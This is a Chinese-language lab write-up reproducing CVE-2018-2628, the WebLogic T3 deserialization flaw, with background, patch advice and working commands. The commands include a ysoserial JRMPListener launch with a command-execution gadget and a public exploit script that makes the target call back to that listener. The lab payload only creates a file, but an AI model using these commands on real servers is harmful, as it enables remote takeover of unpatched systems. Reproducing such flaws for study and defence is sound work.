文章目錄
- 1. Weblogic T3協議反序列化漏洞
- 1.1 漏洞描述
- 1.2 基本原理
- 1.3 漏洞復現
- 1.4 修復建議
1. Weblogic T3協議反序列化漏洞
1.1 漏洞描述
說明 | 內容 |
---|---|
漏洞編號 | CVE-2018-2628 |
漏洞名稱 | Weblogic T3協議反序列化漏洞 |
漏洞評級 | 高危 |
影響范圍 | Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3 |
漏洞描述 | 開放Weblogic控制臺的7001端口,默認會開啟T3協議服務,T3協議觸發的Weblogic Server WLS Core Components中存在反序列化漏洞,攻擊者可以發送構造的惡意T3協議數據,獲取目標服務器權限。 |
修復方案 | 升級組件 |
1.2 基本原理
T3協議缺陷實現了Java虛擬機的遠程方法調用(RMI),能夠在本地虛擬機上調用遠端代碼。
T3協議:
用于在Weblogic服務器和其他類型的Java程序之間傳輸信息的協議。Weblogic會跟蹤連接到應用程序的每個Java虛擬機,要將流量傳輸到Java虛擬機,Weblogic會創建一個T3連接。該鏈接會通過消除在網絡之間的多個協議來最大化效率,從而使用較少的操作系統資源。用于T3連接的協議還可以最大限度減少數據包大小,提高傳輸速度。
RMI:
遠程方法調用,除了該對象本身的虛擬機,其它的虛擬機也可以調用該對象的方法。(對象的虛擬化和反序列化廣泛應用到RMI和網絡傳輸中)
JRMP:
Java遠程消息交換協議JRMP。
1.3 漏洞復現
環境啟動
使用Nmap查看是否開啟T3協議
從掃描結果可以看出目標主機已開啟T3服務。
漏洞驗證
使用掃描工具nacs
sudo ./nacs -h 192.168.188.185 -pa 7001
攻擊操作
使用ysoserial啟動一個JMRP Server
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections1 "touch /tmp/akemi.txt"
說明:'touch /tmp/akemi.txt’為執行的命令,8888是JRMP Server監聽的端口。
然后利用該漏洞現存的exp進行攻擊
exp下載地址。
python 44553.py 192.168.188.185 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 192.168.188.185 8888 JRMPClient
說明:由于該漏洞是在一臺虛擬機上進行操作的,所以IP地址都是同一個。
- 192.168.188.185 7001 是weblogic啟動環境的IP和端口。
- 192.168.188.185 8888 的JRMP 一端的IP地址和端口。
- JRMPClien是執行JRMPClient的類。
進入docker容器查看文件是否創建成功
1.4 修復建議
- 打上官方最新補丁。
- 控制T3服務的訪問權限(添加白名單僅給指定幾臺主機使用)。